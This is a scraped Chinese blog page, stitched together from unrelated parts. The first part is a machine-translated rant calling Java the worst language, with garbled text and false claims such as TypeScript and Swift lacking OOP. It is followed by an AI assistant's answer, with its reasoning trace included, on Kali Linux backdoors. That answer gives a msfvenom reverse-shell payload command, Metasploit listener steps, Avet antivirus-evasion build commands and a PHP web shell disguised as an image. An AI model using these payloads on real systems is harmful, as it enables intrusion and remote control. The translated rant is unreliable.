java走后门_Java是最糟糕的语言

Levi Richardson.

3分钟阅读

改变主意。

644926581516d71e28a93aaa55111264.png

> But I wanna drink it….

这是本系列的第二部分。要阅读有关为什么我认为Go是最好的语言的第一篇文章,请单击此处。

Java有一些问题。首先,很难学习和理解。(Hello World无用)令人困惑。第二,它非常慢(。)第三,OOP SUCKS。(没有意见)

疑惑

你见过java的Hello World吗?你现在有。你认为你真的需要系统吗?这是不必要的。你知道还有什么不必要的吗?公共静态void main(String [] args)。为什么你需要额外的公共类?创建服务器并使用网络工作非常努力,其中与其他语言如此,它(基本上)如导入单词/ http包和http.listenandserve(“:8080”,nil)一样简单。但是,嘿,如果你喜欢Java语法的一些奇怪的原因,至少使用C#。这就是为什么。

龟速

您是与Java编程语言合作的900万开发人员之一吗?你在Java中编写了什么吗?(你有)那么你知道Java是多么慢。有几件事,我想注意Java。首先,与C ++相比。如你所知,我绝对不是C ++的粉丝。但至少C ++直接编制到机器代码中,而Java(深呼吸)被编译为字节代码,其中JVM(在C - Haha Wow)在运行时解释(坏主意)。如果不是那个,它将在运行时编译。(源)所以以任何方式,Java在基本上任何任务都至少慢于C / C ++。如果有人知道为什么Heck Java始终在运行时解释/编译,我会欢迎任何有人解释的评论中的人。我甚至没有完成。

垃圾回收

f14bf828875648b41510215a9cfbabe5.png

> “Java, I need you to take out the trash!”

Java的垃圾回收很糟。如果在Minecraft中打开F3模式,您会看到此信息(我为自己演奏而感到ham愧,请放心。)在F3菜单中,您可以观察到Java垃圾收集器在达到60%时将其丢弃并从约20%开始。它的垃圾收集器大约每3秒将其丢弃一次。这使垃圾回收花费的时间更长,使本已缓慢且不可靠的运行时引擎更加令人沮丧。看一下Java垃圾收集的基准:

77d70eafe26494500b42ea6ca34d9d50.png

> Slow GC

与Go的垃圾收集:

3bf548b0e0e2f57b641bb26cc24757ea.png

> Fast GC

如果Go可以在较少的时间内处理18-19 GB堆大小,则Java在3秒内执行9 GB堆大小。

只是说。

糟糕!

我们来谈谈OOP,通过添加s可以很容易地将其变成错误。尽管Java是一种OOP语言,但它不仅专注于Java。

OOP没什么特别的。没有OOP语言,您可以制作出出色的应用程序。想想用TypeScript编写的Visual Studio Code。TypeScript没有OOP。我最喜欢的视频编辑器Davinci Resolve是用Python自上而下编写的。那里没有OOP。Swift没有OOP,而是研究人们可以在iOS上使用Swift做的事情。Java建立在OOP过于复杂的部分上。有理由甚至没有OOP的创建者Alan Kay不喜欢/使用OOP的原因。

结论

(本文由闻数起舞翻译自34 Followers的文章《Java is the worst language》,转载请注明出处,原文链接:https://litbelb.medium.com/java-is-the-worst-language-667a2e008c)

<think>好的,我现在要回答用户关于Kali Linux中后门技术的问题。首先,我需要理解用户的问题。用户提到“走后门相关的技术操作或含义”,以及具体询问Kali Linux的后门技术或实现方法。根据提供的引用资料,我需要结合这些信息来构建答案。 首先,用户提供的引用中,引用3解释了后门的定义和类型,引用4提到了Avet工具用于免杀后门,引用5描述了通过生成exe文件让目标机上线的方法。引用1是关于Kali Linux的简介,引用2是Bug上报中心的链接,可能暂时用不上。 接下来,我需要组织答案的结构。用户要求回答结构清晰,分步骤解决问题,并保证真实可靠。因此,我应该先介绍后门的基本概念,然后讨论Kali Linux中常见的后门工具和技术,再具体说明实现方法,可能包括步骤和示例代码,后生成相关问题。 首先,定义后门,引用引用3的内容。然后,说明Kali Linux作为安全测试工具,自然包含相关工具。然后分类型讨论,比如网页后门、C/S架构后门、免杀技术,每个类型举例子,比如Metasploit的msfvenom生成payload,使用Avet工具进行免杀,引用引用4和5的内容。 需要注意,必须正确使用LaTeX格式,行内公式用$...$,独立公式用$$...$$。但在这个回答中可能公式较少,但如果有数学表达式比如加密算法,可能需要应用。不过后门技术更多是工具使用,可能不需要多数学公式。 另外,需要生成相关问题,放在后。同时,引用标注要正确,比如在引用到的地方加上[^3]、[^4]、[^5]等。 现在检查是否有遗漏的信息。用户想了解Kali Linux中的后门技术,包括实现方法。需要涵盖工具如msfvenom、Veil-Evasion、Avet,以及后门类型如网页后门、C/S后门。同时,免杀技术是关键,可能需要详细说明Avet的使用步骤,如克隆仓库、编译等,如引用4中的命令。 需要确保回答中的技术细节准确,比如生成payload的命令是否正确,步骤是否符合标准流程。同时,提醒用户这些技术仅用于合法授权测试,避免法律问题。 后生成的相关问题需要围绕后门技术展开,比如工具对比、检测方法、法律风险等。 现在,整理这些思路,用中文写出结构清晰的回答,确保每个引用正确标注,代码块用正确的格式,并附上相关问题。</think>### Kali Linux后门技术解析 #### 一、后门技术基础概念 后门(Backdoor)指绕过系统安全控制、实现隐蔽访问的程序或方法。在软件开发中可能被用于调试,但若未及时删除则会成为安全隐患。常见的后门类型包括网页后门、线程插入后门、C/S架构后门等[^3]。 #### 二、Kali Linux后门实现方法 Kali Linux作为专业渗透测试平台,内置多种工具用于后门研究与防御测试。 ##### 1. 使用Metasploit生成后门 通过`msfvenom`工具生成可执行文件(如`.exe`),当目标运行该文件时,攻击者即可建立远程控制: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=<kali_ip> LPORT=4444 -f exe > backdoor.exe ``` 监听端启动`msfconsole`等待连接: ```bash use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <kali_ip> set LPORT 4444 exploit ``` 成功触发后,可执行文件上传、截屏等高危操作。 ##### 2. 免杀后门技术(以Avet为例) Avet通过混淆代码绕过杀毒软件检测: ```bash git clone https://github.com/govolution/avet # 克隆仓库 cd avet ./makefile.sh # 编译生成免杀后门 ``` ##### 3. 网页后门实现 通过上传伪装成图片的PHP后门文件: ```php <?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?> ``` 访问`http://目标网站/path/shell.jpg?cmd=id`即可执行系统命令。 #### 三、防御与伦理提醒 所有后门技术应严格用于**授权测试**,未经许可使用将构成违法行为。建议企业定期进行代码审计与入侵检测。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值